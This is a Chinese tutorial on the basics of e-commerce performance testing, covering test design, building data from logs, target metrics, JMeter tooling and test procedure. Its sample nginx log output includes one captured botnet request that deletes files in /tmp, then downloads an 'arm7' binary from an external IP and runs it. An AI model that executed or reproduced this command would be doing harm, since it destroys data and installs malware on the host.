实战 | 电商业务的性能测试(一): 必备基础知识

简介: ![](https://ceshiren.com/uploads/default/original/3X/7/5/756e5e8564a4e57c44190330107ba54ca7676e16.jpeg)- 需求分析与测试设计(性能需求目标+业务模型拆解)- 测试数据准备和构造(基于模型的数据准备)- 性能指标预期(性能需求目标)- 发压工具配置及脚本编写(压力策略)- 测试过程(

  • 需求分析与测试设计(性能需求目标+业务模型拆解)
  • 测试数据准备和构造(基于模型的数据准备)
  • 性能指标预期(性能需求目标)
  • 发压工具配置及脚本编写(压力策略)
  • 测试过程(预计的前置准备过程和压测时间点规划)
  • 结果分析与测试报告
  • 新上线系统性能测试:要求容量测试,系统最大容量
  • 系统升级类性能测试:和基线版本对比,性能不下降
  • 新系统性能优化测试:伴随调优目标的性能测试
  • 自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响
  • 日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散

$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15
4709 /sso/register
4703 /sso/login
157 400
139 /
  8 http://www.baidu.com/cache/global/img/gs.gif
  5 /index.php
  4 mstshash=Administr"
  4 /license.txt
  4 ip.ws.126.net:443
  4 "
  2 /sso/getAuthCode?telephone=17138134641
  2 /sso/getAuthCode?telephone=17127460936
  2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
  2 /robots.txt
  2 /phpmyadmin/
  • 上下关联:
  • 1.每秒请求数(QPS)
  • 2.请求响应时间(最大,最小,平均值)
  • 3.错误率
  • 4.机器性能:cpu idel30%,memory无剧烈抖动或飙升
  • 5.压测过程接口功能是否正常
  • 6.不同性能测试方式下指标预期是否有差异
  • 压测场景:单接口/复杂事物——>场景构造
  • 压力需求:<1000QPS 或者万级以上的使用Jmeter分布式支持的方式
  • 是否周期性:Jmeter jmx场景文件,数据驱动,结果落库
  • 二次开发需求:Jmeter开源插件化思想,支持Thrift
  • 协议支持:Dubbo等多种协议,可以快速平台化
  • 问题支持:开放社区,广泛使用
  • 1、测试前环境检查:记录机器参数
  • 2、起压:根据被压情况,调节并发量到合适情况
  • 3、查看记录各项性能指标
  • nginx日志查看每秒请求数
  • 查看nginx错误请求
  • 查看机器参数:cpu idel、mem等
  • 查看db、cache等数据是否写入正常
  • 访问接口,查看功能是否正常

原文链接

更多技术文章分享
https://qrcode.ceba.ceshiren.com/link?name=article&project_id=qrcode&from=Aliyun&timestamp=1654678208&author=YL
相关实践学习
通过性能测试PTS对云服务器ECS进行规格选择与性能压测
本文为您介绍如何利用性能测试PTS对云服务器ECS进行规格选择与性能压测。
相关文章
|
2月前
|
Java 测试技术 Maven
JAVA单元测试概念与实战
单元测试是软件开发中的一个测试方法,用于验证软件代码中最小的、独立的单元是否按照预期工作。在Java中,这通常指的是单个的方法或者一个类的个别功能。单元测试的目的是隔离代码的每个部分,并确保各个部分是正确的。
51 4
|
3月前
|
Prometheus 监控 前端开发
性能测试基础知识
性能测试基础知识
|
7月前
|
Shell 测试技术
Shell编程实战的命令测试
Shell编程实战的命令测试
37 1
|
3月前
|
监控 数据可视化 Java
jvm性能调优实战 - 31从测试到上线_如何分析JVM运行状况及合理优化
jvm性能调优实战 - 31从测试到上线_如何分析JVM运行状况及合理优化
53 1
|
4月前
|
机器学习/深度学习 人工智能 算法
软件测试/人工智能|人工智能与自动化测试结合实战-探索人工智能在测试领域中的应用
软件测试/人工智能|人工智能与自动化测试结合实战-探索人工智能在测试领域中的应用
144 0
|
1月前
|
运维 数据库
Powershell实战:测试网络请求两个命令介绍
【2月更文挑战第11篇】 Test-Connection 命令将 Internet 控制消息协议 (ICMP) 回显请求数据包或 ping 发送给一台或多台远程计算机并返回回显响应回复。 我们可以使用该命令确定是否可通过 IP 网络ping通特定的计算机。
|
2月前
|
测试技术 API Python
Python自动化测试:unittest与pytest的实战技巧
Python自动化测试:unittest与pytest的实战技巧
|
7月前
|
数据采集 算法 测试技术
深聊性能测试,从入门到放弃之:Locust性能自动化(二)代码实战
深聊性能测试,从入门到放弃之:Locust性能自动化(二)代码实战
157 1
|
8月前
|
前端开发
前端项目实战拾壹-pda测试平板打包为何白屏
前端项目实战拾壹-pda测试平板打包为何白屏
81 0
|
4月前
|
缓存 Java 关系型数据库
Spring Boot实现RESTful接口架构实战(包括REST的讲解、定义、REST服务测试)
Spring Boot实现RESTful接口架构实战(包括REST的讲解、定义、REST服务测试)
52 0